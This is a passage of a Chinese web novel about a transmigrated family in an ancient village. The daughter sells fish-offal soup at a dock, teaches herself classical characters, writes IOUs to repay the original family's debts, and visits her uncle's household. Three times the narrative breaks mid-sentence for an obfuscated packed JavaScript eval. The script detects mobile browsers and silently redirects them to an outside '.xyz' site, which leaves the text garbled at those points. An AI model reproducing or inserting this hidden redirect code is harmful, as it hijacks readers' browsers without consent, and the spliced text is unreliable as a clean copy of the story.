穿戴整齐，来到院子，老爸林书润准备好梳洗的清水，林芫花拿着牙刷，蘸着牙香筹，蹲在水井边漱口。 这个朝代已经发明出了牙刷雏形，早期以马匹马尾的毛发制作，因马匹价格昂贵，后来民间改用猪毛。 至于牙香筹，以药材与香料制作的膏体，用来清洁牙齿。 洗漱完，来到厨房，老爸用昨天的剩饭，做了个蛋炒饭。 昨天饭桌上，林书润询问大家早餐想吃荷包蛋，还是蛋炒饭，大家一致举手投票赞成后者。 “洗把手，马上可以吃饭了。”灶堂里退了火，林书润往锅里撒上一撮葱花，在碧色的点缀下，金黄的鸡蛋碎与颗颗分明的油润米粒，诱人无比。 这几日天气阴沉，妈妈陆英没法子出门找活计，特意交代了不用喊她吃早饭，这会儿还赖在床上。 弟弟林青叶起得早，一起床，闻见蛋炒饭的香气，饿得不行，拿巾布抹了把脸，来到饭桌，就着一碟辣脚子，炫了两大碗。 送父亲与林芫花出院门，林青叶惭愧不已，自己食量大，吃得太多，不像姐姐一样会做饭，会挣钱，好像是个拖累:“爸，等我有棉裤出门了，到时我跟你一起去码头扛包，我也能给家里挣钱。” 林书润没觉得儿子是拖累，摸摸他发顶:“再等等，一会儿把碗筷洗了，等你妈起床，告诉她锅里热着饭。” 林青叶:“知道了。” 林书润带着女儿一同步行到码头，其实在当铺赎回棉裤时，自己犹豫过给儿女哪个先赎？ 半大的小子，身体跟火炉似的，冻一冻不打紧。 花花是女儿家，身子骨弱一点，不宜受冻，这才考量着先赎回女儿的，给当铺掌柜说了情，过半月后，再赎回儿子的。 步行了大半个时辰，父女俩抵达码头。 目送老爸离开，林芫花来到小摊等了会儿，见到杨大力挑着扁担过来。 给鱼籽鱼杂清洗、焯水，当酱料经过热油煸炒，激发出醇厚的香味，浸煮着鱼籽鱼杂，色如玛瑙的鱼汤酱汁翻滚，文火慢炖，不骄不躁，风味一点点侵入食材。 大老远，都能闻见鱼杂羹的浓香。 昨日李二柱尝了同伴的一只鱼泡，鲜得人冒口水，今日他特意赶早来到小摊，递出铜板:“三文钱是吧，给我来一碗。” 林芫花接过铜钱，往粗瓷碗里舀鱼杂羹，听对方道:“多给点鱼泡，我爱吃。” 于是，她象征性地多舀了两只鱼泡。 一条鱼只有一只鱼泡，吃鱼杂羹的人，大多更喜欢鱼泡、鱼白等，反而对美味的大块鱼籽，视而不见。 林芫花不理解，毕竟她妈妈陆英和弟弟也偏爱食鱼泡。 在现代，一斤鱼泡售价达六七十元不等，一斤鱼籽便宜的几块到十几块不等，贵一点，二三十一斤，每年进入秋冬季，【一家鱼虾】餐厅便开始售卖鱼杂锅，以泡椒和二荆条烹煮，炒出红彤彤的辣椒油汤，爆辣鲜香，锅子里头的泡椒，越煮越辣，吃到后面辣得暴汗，吸引了许多挑战辣度的美食博主…… 开了张，陆陆续续，林芫花见摊子前来了几名脸熟的顾客。 扛包大力士阿牛，严叔的朋友李虎…… 大力士阿牛挣得多，吃得也多，满满当当的一碗猪下水汤，加上一碗鱼杂羹，配上六张比脸还大的煎饼，吃完这些不顶饱，又去另一家摊子买来一笼鲜肉包。 看得林芫花瞠目结舌，以阿牛的天赋，如果穿越到现代，哪怕找不到工作，也能靠大胃王的体质在网络直播吃饭。 毕竟人家是正儿八经的真吃，还不催吐，一点不浪费粮食。 “李二柱，你不是说猪下水最实惠，用不着省几个铜板，怎么你也来吃鱼杂羹了？” 被同伴逮了个正着，李二柱瓮声瓮气:“还不是因为你小气，多吃你个鱼泡都不肯。” 见同伴往猪下水摊走，他低下头将鱼泡往嘴里送，煮得越久越耙糯，浸满了汤汁，太鲜了。 当杨大力返回码头时，发现小姑娘早已清洗干净铁锅和碗筷，坐在小木凳，不知等了多久。 清点完今日盈利额，一个铜板不少，他吃惊不已:“今日这么快卖完？” 林芫花想了想:“杨叔也看见了，连续两天，十斤鱼杂我都能卖完，所以我想跟你商量能不能多添一些鱼杂。” 给自己挣钱的事，杨大力哪有不应允的:“先增三斤，不够再添。” 林芫花笑笑，不说话，只有真正做出业绩才是真理。 码头就这么大点的地方，哪家小摊便宜量大，味道好，用不了几天，口碑做出来了，买卖自然就好了。 第三日，她的鱼杂羹还没煮好，摊位前已经有回头客排队等候了。 杨大力的船只停靠在渡口，等待船客满员，打量着码头的小摊前，等候了三四名工人。 奇哉，怎么都是一样的食材和调料，他烹煮的鱼杂羹，每日勉勉强强售卖完，林芫花烹煮的，咋就这么紧俏？ 想不通。 他背着风，船舱里有乘客不耐烦的催促什么时候开船，杨大力摩擦着冻僵的手，好脾气地安抚:“再等等，还差一个。” “船家等等。”大老远，有个背着竹筐的白须老翁喊了声。 见老人家年纪大，杨大力特意上前帮忙，将竹筐送上船舱:“稍微让一让，别把老人家的青蔬压坏了。” 船舱里的客人大多是中老年的菜贩子，自家吃不完的农作物，拿去售卖，能补贴家用。 见到白翁，客人们互相帮忙，不大的船只，堆满了蔬果，一道运输到河对面，对面的菜价较临江城昂贵些，能卖上好价钱。 船舱外，杨大力撑着船只，草席隔绝了肆虐的冷风，室内，菜贩们同白翁搭起了话。 “您今年高寿啊？” “八十了。” “哟，您这个年纪都有孙儿了吧，还出来摆摊卖菜啊。” “都有重孙儿了，没办法，闲不住，能挣点是点。” 大伙你一言我一语，眨眼间，到了对岸渡口。 杨大力帮白翁背出竹筐，目送乘客离开的背影，正是因着这些中年老菜贩，对岸的百姓才能吃到物美价廉的青蔬。 返回临江城码头时，等待乘客的间隙，杨大力来到鱼杂羹摊前:“给我也来一碗。” 他倒要看看林芫花烹煮的鱼杂羹有什么魔力？ 林芫花抬头:“老板，三文钱。” 杨大力:“……” 吃自己的，也要给钱？ 他老老实实摸出三枚铜板，递了出去。 接过鱼杂羹，他往渡口跑去:“过会儿给你送碗来。” 杨大力边走边夹了一块鱼杂送嘴里，鱼泡入口，立马觉出点不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458070|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林芫花烹煮的鱼杂羹，咸鲜适宜，味道很好，最重要的是鱼泡处理得很干净，吃不到怪味，只有鲜味，油水下得足，汤面上漂浮着一层琥珀色的红酱油脂，金黄鱼籽被油光染得鲜亮亮，光看着就很有食欲。 鱼白颤巍巍，口感粉绵，咬一口，蘸着鱼汤汁一块儿送来，跟吃脑花一样，美得很。 平平无奇的鱼杂鱼籽，被小姑娘烹成了难得的美味佳肴！ 换做是杨大力，他也愿意花三文钱买一碗鱼杂羹，解解馋。 他烹煮的口味不固定，按心情放调料，曾有食客反应有时说淡了，有时又说咸了，林芫花做的鱼杂羹，口味恰到好处。 来到渡口，杨大力碗里还剩下大半碗，鱼杂羹的香气飘荡在空气里，被晨风送到人的鼻腔里。 有乘客闻到了香味，好奇询问:“闻着真香，小杨，你吃的是什么？” 杨大力随手一指:“鱼杂羹，码头那里有卖，三文钱一碗，不贵。” 等待的其他船夫跟着伸长脖子往码头那处瞅了瞅，盘算着明早也去买一碗尝尝鲜。 码头。 卖完鱼杂羹，做好清理工具，林芫花去了私塾。 本打算冒着听一堂课，回家做午饭，哪只被私塾的董夫子逮了个正着。 偷听被发现，她惭愧地低下头。 董夫子的目光落到林芫花脚边的一块空地，被人拿木棍写写画画:“这是你写的字？” 林芫花眼中闪过讶异，回道:“是。” 董夫子走到她身侧，调转个方向，盯着地上的字迹，一笔一画，没什么风骨，胜在笔直:“嗯，写得不错，有这份向学之心，你很好。” 说罢，董夫子抬腿离开。 林芫花怔愣了片刻。 夫子的意思，是让她明日还来吗？ 回到王家村，听妈妈陆英说趁着今日天气放晴，外出在临江城的成衣铺子找了份工作，靠着缝补手艺，每月能有八百文薪水。 少是少了点，可陆英不擅刺绣，问了好几家成衣铺子，才找到份薪水不错的工作。 连绵几日的天气，终于过去。 清闲在家的几日，在宋氏与村长儿媳沈氏的口口传播下，整个王家村都知道陆英的手艺，拿着鸡蛋登门拜访。 两三日功夫，家里攒了三十多颗鸡蛋。 林家小院，晚饭桌上。 陆英与丈夫商量着拿一半鸡蛋到城里售卖，补贴家用。 林芫花挖着肉沫鸡蛋羹，水汪汪的蛋羹，配上炒得浓油赤酱的肉沫，拌个米饭吃，简直绝了。 肉沫与酱料煸炒出的油脂，口感极鲜，鸡蛋富含蛋白质，清淡而鲜美，二者结合，鲜上加鲜。 一口蛋羹饭，配上大块鱼籽，美得林芫花慨叹:“好香！” 荤腥吃多了，配点小咸菜开胃，咸辣脆爽，超级下饭。 嚼着小咸菜，林芫花问:“妈妈，我们什么时候去陆家村？” 陆英想了想:“最近走不开，年底吧，到时候咱家正好攒点家底，给兄嫂们买点节礼。” 一家人说着话，院门被人敲响。 林芫花看林青叶一眼，见对方埋头吃饭，她放下碗筷，片刻后，领着个妇人进了院子。 陆英瞧着对方眼熟。 妇人率先开了口:“对不住，之前误会你家偷了我们的黄芽，今日听闺女说起这事，才知是误会，黄芽是我外嫁的闺女割走了，当时想跟我俩两口子说一声，没见着，之后把这件事忘了。是我误会你们了。” 林芫花转过头，对父母说:“我跟婶子说了，没多大点事，我们不会放在心上，婶子非要亲自给你们当面道歉。” 陆英和林书润放下碗筷，过来安抚，陆英顺嘴问了句:“吃没吃晚饭，要不留下吃点？” 孙氏推拒:“多谢，我家饭菜快好了，你们吃饭吧，我不打扰了。” 林芫花和父母送对方出院子，也跟着安抚:“婶子放心，以前我们家前王家村的甜瓜和蜜桃，以后定会一一偿还。” 孙氏显然没当一回事，陆英见了，刻意强调了句:“我家闺女说的话，就是我们夫妻的意思。” 林书润开口:“等花花多认些字，回头给你们打欠条，欠村里人的，我们家一定偿还。” 8. 千字文 林芫花的话，被孙氏带去了家里。 孙氏公爹不信:“她一个丫头片子说的话，能做数？” 婆婆没好气:“就是，她们林家偷鸡摸狗，没一个好东西。” “可我觉得这次听着挺真切的。”想到林家夫妻俩诚恳的语气，出于冤枉过林家夫妻的愧疚，孙氏忍不住帮忙说了嘴。 * 另一边，林家。 不管王家村的村名如何想，林家打定了主意，欠人家，偿还人家，天经地义。 嘴上怎么说没用，以后行动见真章。 在林家人看来，她们既然占了原主的身体，理所应当地应该承担原主做过不好的事情，努力补救。 没有理由一边占据原主的身体，一边若无其事地继续过自己的日子。 尽管这份恶，不是她们做的，却真真切切造成了他人财产上的损失。 即便今日林芫花不说，林家夫妻俩也会等到站稳脚跟后，想办法承担这部分债务。 欠了原主兄嫂的十四两银子，王家村村民丢失的财务统计了番，大概有三两银子左右，统共债务有十七八两。 一笔不小的数目了。 在王家村，一家四口吃穿嚼用，一年得十几两银子，未来一年，她们任务繁重，必须挣到三四十两银子，才能在保证存活下来，且偿清全部债务。 城外码头。 这日一早，杨大力给林芫花送去鱼杂，撑船送船客到对岸赶集，返回时，发现渡口好几个船夫捧着碗鱼杂羹，蹲在一旁边吃边等船客…… “小杨，你家请的小厨娘手艺真不赖，你开的工钱多少啊？” 听到船夫们的恭维，杨大力嘿嘿笑:“以前是一百二十文。现在干得好，想给她添点工钱。这小厨娘是我朋友家的闺女，人长得好，手脚麻利，会算数，收钱算账从不出错，很能干。” 刚才说话的人开玩笑“小气，给的忒少了，我婶子在码头做帮厨，一月能挣五六百文呢。” “你婶子从早忙到晚，一天做六个时辰，我家一天才两个时辰，轻松点嘛！”把摊子交给林芫花后，杨大力基本没怎么操过心，每天结束后，过去收摊收银钱，现在鱼杂不够卖，每日多增了三斤，想着工钱添个十来文。 等杨大力忙完手头的事，来到小摊，清点了番，今日卖出三十一碗，共收入九十三文。 杨大力数了一遍，暗暗心惊，今日加了三斤鱼杂，居然都卖完了，贪心又试探地问:“再给你加两斤，一天十五斤鱼杂，你觉得能卖吗？” 林芫花犹豫说:“我试试。” “行，你要是一天能卖十五斤，以后每月给你加二十文钱。”杨大力没读过什么书，也知道要想牛儿跑，得给牛儿吃草的道理。 林芫花稍稍意外。 本以为杨叔最多给十文，没想到是二十文…… 从码头出来，她想到大三那年，拒绝妈妈抛来的橄榄枝，没去自家服装公司实习，找了家实习公司当牛马，管吃住，有交通补，但没实习工资。 呆了半个月，当得知要自掏腰包垫付七八百接待甲方的下午茶，第二个月才能财务报销，她立马抱着水杯和仙人掌跑路。 垫他个大头鬼！ 林芫花每月生活费有八千，花超了，不够用的话，偶尔爸爸也会补贴点，出来实习，七八百她拿得出来，但是没必要。 大多数实习生靠父母给的生活费，有的生活费很少，需要精打细算，基本没什么钱，能让实习生垫付的公司，没人情味，过于追求规章制度，显得缺乏人文关怀，充斥着剥削与傲慢。 后来她用攒的压岁钱与室友合伙，在学校附近租了一间门面，开始创业。 因物美价廉，味道还不错，慢慢的，生意越来越好…… 杨叔承诺以后每月给她加二十文，很良心了，以后她每月工钱一百四十文，很好了。 据她了解，普通饭馆的墩子，两班倒，一天四个时辰，就是现代八小时工作制，一月三四百文，码头的帮厨累一点，一天工作时常达六个时辰，十二个小时，薪水也高，五六百文。 她一天工作三四个小时，一百四十文，很不错了。 回家路上，顺道去了私塾。 下课后，送走所有学生，董夫子来到林芫花呆过的空地，看见地上有人拿木棍写写画画的痕迹。 同上次一样，她靠临摹沙盘里的字，每天认十个，也不贪多。 告别王茂，回到王家村，吃午饭还早，林芫花捡来根木棍，把在学堂学来的繁体字，写在院子里。 这些繁体字，有些她认得，有些结合书本的前后文，也能辨认出意思，但不会写。 林青叶凑来颗脑袋，呆在家里无事，最近他也在学繁体字，早晚也会去学堂读书，趁现在多学点，没坏处。 林芫花写得认真，没留神身边多了个人，磕到了脑袋，她捂着头，龇牙咧嘴。 林青叶笑嘻嘻，跟个没事人一样。 惹得她埋怨了句:“你什么时候来的？” 林青叶:“很疼？” 林芫花:“我又不是你，长了颗石头脑袋，不怕疼。” 今日妈妈陆英去临江城上工，家里只剩下姐弟俩。 学了会儿字，姐弟俩到厨房做饭。 第二天码头出摊，今日处理十五斤鱼杂，多费了点功夫。 鱼泡数量少，清洗完，林芫花快要直不起腰，加入葱姜焯水，烹煮…… 等杨大力来摊子时，林芫花刚卖完最后一碗，不好意思说:“抱歉杨叔，今天要晚一点，可能耽误你时间了。” “不碍事，这会儿渡口不忙，不过今天的鱼杂羹，你居然都卖完了。”杨大力吃惊不已，接过钱袋子清点铜板。 另一边林芫花清洗好锅碗，确认账目无误，带着杨叔单独给的鱼杂回家。 她们家条件不好，杨叔是知道的，会特意带些鱼杂给她，省得家里花钱买菜，省一笔是一笔。 鱼籽营养丰富，含蛋白质、钙、磷、铁、维生素和核黄素，对心血管和大脑功能很好①，林芫花爱极了鱼籽颗颗分明的口感，鱼杂锅子、鱼籽烧豆腐，怎么做都好吃。 …… 时间一晃，半月过去。 陆英向成衣铺子的老板预支半个月的薪水，加上老爸在码头扛包，攒下的银钱，足够赎回当铺的棉裤了。 第二天，林青叶跟着爸爸到码头扛包，挣家用。 扛第一包，他语调轻快:“也不重，轻轻松松，我能扛两包。” 第二包，第三包，他青涩的脸庞泛起红晕，呼吸加重，鼻尖沁出细汗。 五包六包过后，他喘着粗气，擦拭额头的汗珠。 忙完休息，他累得不想说话，想到这种辛苦日子，老爸过了大半个月，又咬牙坚持下来。 午饭时，爷俩到卖热水的摊子热了热饭，要了两碗热水，吃饱喝足，再次来到招工的空地，计划在大雪腊月前多挣些铜板，囤积物资好过冬。 进入月尾，马上是腊月，置办年货，腌制腊鱼腊肉等，过年过节走亲戚，少不得要花费一笔银钱。 这头爷俩在码头扛包，王家村，陆英从城里回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458071|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，吃了女儿做的午饭，然后赶回成衣铺子…… 林芫花上午在码头卖鱼杂羹，中午回家给妈妈和自己做饭，睡个午觉，下午到私塾听课识字，晚上教林青叶认繁体字，一家四口都没闲着，各自努力奋斗…… 去私塾多了，董夫子送了她一本千字文。 半个月时间，千字文册子上的繁体字，她基本能全部写下来。 这日，林芫花给了王茂两个铜板，问他借用了纸笔，将原主欠王家村村民的桃子、甜瓜等等，一一打好了欠条。 收到欠条的周氏，怔愣了好半晌。 半月前，王老根家的儿媳孙氏给林家带话，说是林家会补偿她们的财务损失。 大伙以为林家的嘴上说说而已，没当一回事，不成想过了半月，对方竟然主动带着欠条找上门。 周氏与丈夫都是目不识丁的庄稼汉，哪里认得字，整个王家村，只有村长王有德识字认字，是个读书人，夫妻俩拿着欠条去到村长家，大老远瞧见，不止她们，另有几对夫妻也聚在村长家，手里拿着的纸条，跟她们的欠条一样。 村长王有德手里拿着欠条，浑浊的老眼扫过，指着一处:“这里有个错别字，少了一横，不过不影响。” “村长，这是林家给俺们打的欠条，上面真写了会还俺们两个石榴？这上面少了一横，会不会欠条不做数了？”有村民迫不及待地问。 王有德回他:“欠条是写了欠你两个石榴，有个错别字，不影响欠条，有日期有姓名，写得很规范，你拿着，收好就行。” “村长，帮忙看看我的，上面是不是写了还我一个冬瓜？” “写了，要和还你五斤重的冬瓜。” 前头王有德一一帮忙看欠条，后面有村民嘀嘀咕咕: “好像是陆氏她家的花儿写的欠条，她家花儿不是睁眼瞎吗，什么时候会认字写字了？” “不知道。小姑娘家家的，会读书认字，真是厉害，连咱们王家村的好多儿郎都不会认字哩，她就会，说不得将来还真能嫁个探花郎！”有人拿打趣，显然听到过林芫花看不上邻村秀才郎的传闻。 这些愚昧无知的村民不知情，王有德却是知情人。 半月前，孙儿王茂跟自己说那林家小姑娘一堂课背会了《论语》，起初他没放到心上，林芫花在短短半个月时间里，一面上午到码头做厨娘，中午给母亲做饭，利用闲暇时间学会了千字文。 直到此时，王有德暗暗心惊林家小姑娘的聪慧好学，对方努力踏实又上进，这份韧劲，让他对林芫花的观感好了几分。 送走了王家村村民，王有德看见孙儿拿着只草编蚂蚱玩耍，顿时气不打一处来:“玩物丧志。看看人家林芫花，短短半个月学会了千字文，你去学堂有两年了，还在丁字班，跟你同期的学子都上了乙丙班。” 跟小伙伴们玩耍一通，回到家的王茂:“？” 阿爷不是一直知道自己读书天赋平庸吗，只求他认得几个大字，能打理家里的几亩田产和账簿，娶到个贤惠妻子，和和美美，今日突然发了好大一通火气，王茂委屈巴巴，被阿爷视作玩物丧志的草蚂蚱，锁进了柜子里。 这晚王茂破天荒没有早早睡下，拿起书册，读书到了深夜。 第二天一早起的迟了，差点误了去私塾的时间。 饭桌上，阿爷没发火，给他递来只白煮蛋，让他带着路上吃。 王茂揣着热乎乎的煮鸡蛋:“阿爷，我会好好上学，以后考功名，考个秀才回来。” 王有德欣慰抚着胡须:“不错，还是我孙儿有志气。” 9. 猪油渣 一早，爸爸林书润做好早饭，摊了四只荷包蛋。 经过滚油煎熬，鸡蛋边缘微微卷起，舒展的荷包蛋呈金黄色，菜籽油的香气，飘荡在整个厨房。 因为在码头做体力活的缘故，汤汤水水不顶饿，家里的早饭一直很扎实。 今早吃的柴火饭配煎荷包蛋，一碟小咸菜，一碗鱼杂羹。 自从林芫花去了码头做厨娘，家里基本没缺过鱼杂，昨晚提前烹煮好的鱼杂鱼籽，不需要特意热，汤水里富含蛋白质，在寒冷的冬季凝固成了果冻质感，挖上一块鱼冻，看它被热气腾腾的米饭融化，用筷子拌一拌，光是就着鱼冻，林芫花能扒完一碗米饭。 “这是家里剩的最后几个鸡蛋了，大家一人一只荷包蛋。”爸爸林书润说。 因为妈妈陆英擅缝补，前不久王家村以及附近村里人陆续登门，家里积累了三四十只鸡蛋，拿去卖掉一部分，后来归还了王家村村民几只鸡蛋，家里的鸡蛋存量告罄。 吃饱喝足，一家父女三人出了篱笆小院。 妈妈陆英工作的成衣铺子，上工晚，饭菜在灶台热着，可以多睡会儿。 三人关好院门，此时天色灰蒙蒙，整个王家村笼罩在一片灰色大雾里，所有王家村村民正陷入甜美的梦想。 四周静悄悄，除了偶尔听见一两声鸟叫，听不到任何动静。 “咦，那家燃着油灯。”林青叶指着一户人家，道。 林芫花顺着看过去:“好像是豆腐西施家。” 林书润慨叹:“俗话说世上有三苦，打铁、撑船、磨豆腐，这磨豆腐从前一天开始泡黄豆，半夜摸黑起来推磨，磨豆、煮豆、点豆，压成豆腐，一套工序下来，还要赶集售卖，不比咱们在码头做活轻松，也挺不容易。” 林芫花听得很有真实感:“老爸，你以前也磨过豆腐啊？” 林书润:“以前家里条件不好，你爷爷奶奶卖过豆腐，我帮忙推过石墨，又重又沉，推个两三圈，脚软腿酸，真不是人干的活儿。不过帮忙推完石墨，有块麦芽糖吃，那时候可高兴了……” “打好豆腐，你爷爷奶奶去镇上售卖，有时候遇到天气不好，豆腐卖不掉，一家人愁坏了，因为豆腐不能久放，容易发酸……” …… 说着说着，父女三人到了码头。 与老爸和弟弟分别，林芫花来到小摊。 猪下水油水足，在码头每日生意爆火，隔壁的鱼杂羹小摊，跟着蹭了点客流量，偶尔一连吃了好几日猪下水汤的搬运工，也会来小摊尝尝鲜，所以每日十五斤鱼杂除了第一天卖得稍晚些，后来渐渐打出了口碑，每日都能提早卖完。 从码头回来，到私塾听了一堂课，她跟王茂一道回王家村，路过村长家，遇到王茂的阿姐。 对方长得方圆脸，微胖，穿着一身朱红色棉袄，将她上下打量，等她转过身:“喂，我家里有些书册，你想看的话，可以来我家。” 林芫花停步，转过身:“真的，现在可以吗？” 王依依心道她还真是不客气，难怪每日能厚着脸皮到私塾偷听董夫子讲课，想到整个王家村除了林芫花，每一个识字认字，当下应允:“当然可以。” 王依依将她带去爷爷的书房，说是书房，其实是一间瓦房，里头摆设了书架，摆放着二三十本发黄的书籍册子。 在文化率不足两成的封建古代，又是人人目不识丁的村落，家中能专门设立一间书房，有几十本藏书，已是十分了不得。 作为王家村的村长，王有德祖上都是赤贫的农户，一辈辈奋斗积攒，到了这辈，家里有了丰厚田产，有了托举后人的能力。 与村长家相反的是原主一家子，有个秀才曾祖父，家里也曾殷实过，后背不争气，丰厚的田产多数做了赌资酒资，拿一手好牌，打得稀巴烂。 林芫花在架子上挑了本地理游记，因为书籍珍贵，只能在村长家看，无法外带。 即便如此，她打从心眼里感激王依依和村长王有德。 王依依也挑了一本，两人在院子里晒着太阳，捧着书册翻阅。 日头晒得懒洋洋，林芫花抬头看了看日头，快到头顶，将看了十几页的书籍还回去:“快正午了，我得回家做饭。” 接下来的日子，林芫花每日早期去码头，到私塾听课，来王依依家借书阅读，回家做饭，时间安排得满满当当，每天过得很充实。 日子这样一天天过去，一眨眼，进入月底。 月底拿到薪水，休息两日，陆英向成衣铺子的老板告了假，一大早，林书润从集市回来，满面红光，逢人显摆:“瞧，我废了老大劲，好不容易抢到一条大肥猪肉。” 邻居家宋氏从矮墙院子里探出头，瞧着白花花的肥猪肉，喜人得很:“哟，这条肥猪肉真漂亮，今天休息啊，不去码头干活啦。” 林书润:“今天走亲戚，要回一趟岳母家。” 说罢，他又拎着肥猪肉跟老婆显摆:“你不晓得，我到猪肉铺时，以为自己来得最早，没想到有人比我来的还早，后来不讲道理了哄抢，人挤人，挤死了，要不是我仗着个子高，提前抢到一条，差一点买不到。” 陆英扫一眼他开口笑的布鞋，乐了:“看得出来肥猪肉有多紧俏了，你看你的鞋。” 林书润低头，自己的布鞋脱了线，像一张鱼嘴，移动着一口咬到陆英的鞋面:“嗷呜嗷呜，吃了你。” 陆英嫌弃:“脏，别闹，孩子还在呢。” 林书润哦一声:“又要麻烦你了。” 陆英:“时间还早，脱下来，我给你缝补。” 锅里熬着米粥，林芫花到水井边洗个擦碗布，吃多了父母的狗粮，面无表情地端着木盆和清水回厨房。 吃过早饭，林书润背着竹篓，带着妻女步行回陆家村。 陆家村居王家村好几里地，一家四口每日往返王家村和码头、临江城，刚开始走得脚酸腿胀，日日坚持下来，渐渐习惯了。 买肥猪肉时，林书润问过城里的车夫，租赁一辆驴车，一趟要二十余文，家里背了一大笔债务，省着点花。 靠双腿步行一个时辰，路上走走停停，还能欣赏沿途风景，算是苦中作乐。 按照记忆的路线，来到陆家村，热得林芫花满头大汗，后背衣衫汗津津，贴着后背，很不舒服。 棉袄的高领口，被她解开一粒扣子透透气。 进了村，还没到陆贯仲家，一路上许多村民认出了陆英，打了声招呼。 等人走后，三五成群聚在一起:“贯仲家的妹子来了，该不会又带着丈夫和孩子来打秋风的吧。” “不晓得。” 走了一段距离，撞到一群玩耍的孩童，有个半大小子看着眼熟。 林书润蹲下身:“你是陆天冬？” 孩童稚嫩的嗓音:“你是哪个？” “我是你姑父，年前见过的。”确实见过，不过是跟原主年初见过，林书润说。 他从背篓里取出只油纸包，取出一小块麦芽糖递去。 陆天冬嗅到了麦芽糖的甜香，馋得口水直流，仍是谨记父母的教诲:“阿娘说了，不能吃陌生人给的东西。” 林书润哭笑不得:“好吧，领我去你家，姑父给你糖吃。” 陆天冬两条小短腿在前面开路，时不时扭头回望他们有没有跟上来，望一眼他手里的装着糖的油纸包，生怕走丢了。 “阿娘，阿娘，姑父来了。” 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458072|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子的喊声，宋梅从堂屋里出来，跟院子里站着的一家四口打了个照面。 “英英和书润来了，哎呀真是不巧，你母亲去邻村帮人接生了，贯仲刚去地里，快来屋里坐。”说着，宋梅转头吩咐陆天冬:“到阿娘房间拿钥匙来，给你姑姑姑父她们冲糖水喝。” 陆天冬屁颠颠去拿钥匙了。 感受到了嫂嫂的热情，陆英道:“嫂嫂，不用麻烦的。” 宋梅:“要的要的，你们难得来一次。” 很快宋梅烧好热水，端来几碗糖水，看到陆英从背篓里拿出一条大肥猪肉、油纸包，取出一小块麦芽糖拿给陆天冬:“现在你阿娘也在，可以吃了吧！” 陆天冬看向宋梅的方向，得了点头，这才嗷呜一口，包上了三角块状的饴糖，甜滋滋。 “来就来，带这些东西做什么，我跟你哥哥家里不缺，倒是你家日子过得紧巴巴……” 光是大肥猪肉，除了逢年过节，平时家里可吃不上。 尤其是饴糖，价格忒贵，宋梅一把将儿子拉拔到跟前，暗叹小姑子一家真不会过日子，才挣了几个钱，照这样的阔绰的花法，还怎么过年，回头得让她哥好好说说。 宋梅在家待客，让儿子去地里喊陆贯仲。 赶到家，果然瞧见妹妹妹夫带着儿女来了，陆贯仲在院子里跺跺脚，震掉鞋底的泥巴，进了堂屋，见到大肥猪肉和饴糖，脸色一沉:“我喊你们多来看看娘，不是让你们花银钱买这些东西，儿女大了，你们做父母的得精打细算，该提前积攒嫁妆和彩礼了。” 林书润不好说什么，陆英开口:“阿兄别生气，我晓得了，下不为例好不好？” “行，以后不许了啊。阿娘约摸要忙到傍晚回来，你们中午你们在家吃个饭，我让嫂子炖个猪肉白菜粉条，话说回来，这条大肥猪肉买的真漂亮。”陆贯仲把肥肉交给妻子，他在堂屋陪妹妹妹夫说话。 午饭，陆家桌上，一盆猪肉猪油渣炖白菜粉条，一碟泡酸萝卜、一碟辣脚子，一碟切好的咸鸡蛋，十分丰盛。 家里不缺油水，林芫花对猪肉白菜粉条爱答不理，反而舅母宋梅腌制的咸鸡蛋很感兴趣。 腌得流油的咸鸡蛋，拿起时不留心，金黄的蛋液缓缓流泄，流淌到手指上，被她轻轻嘬掉。 “好香啊，油而不腻，吃着跟蟹黄一样，舅母，你是怎么腌出这种咸鸡蛋的？”林芫花好奇极了。 “有时候家里吃不完的鸡蛋，担心放坏了，我拿盐巴混着黄泥腌了，没别的什么技巧。你这孩子别光吃咸鸡蛋，多吃点猪肉，看你瘦的，脸上没二两肉。”说着，宋梅夹来几片肥肉放到外甥女碗里。 倒是比上回她跟丈夫去王家村时，瞧着长了些肉。 林芫花盯着碗里白花花的肥肉，硬着头皮吃了一片，炖得很软烂，入口即化，跟嫩豆腐似的，油脂被煮到汤里，不会很腻人，吸收了猪油的白菜，同时兼具猪油香与清爽。 比她想象中的好吃！ 不过比起肥猪肉片，她更喜欢炖煮得烂乎的白菜与粉条，里头的猪肉渣也好吃，自带焦焦的油香，经过汤水浸煮，仍是脆脆的，牙齿咬开，油香分子在口腔里蔓延，嘎吱嘎吱。 另一片肥肉，被林芫花夹到弟弟碗里。 林青叶：“我也不爱吃肥肉。” 被林芫花横来一眼，他老老实实把肥肉往嘴里送，一口肥肉片，一口大白菜，冬季刚上市的大白菜最美味了，加点猪肉片，随便煮一煮，都很好吃。 